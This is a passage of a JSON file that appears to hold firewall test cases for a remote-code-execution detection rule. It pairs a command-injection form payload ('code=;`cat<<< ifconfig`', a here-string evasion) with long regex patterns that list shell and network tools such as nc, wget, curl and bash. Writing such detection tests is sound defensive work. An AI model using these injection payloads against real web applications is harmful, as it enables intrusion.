?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution of perf command with arguments" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*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?:(?:[\\s\\x0b&\\),<>\\|]|$).*|o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block evasion using here string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<< ifconfig`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\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|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, 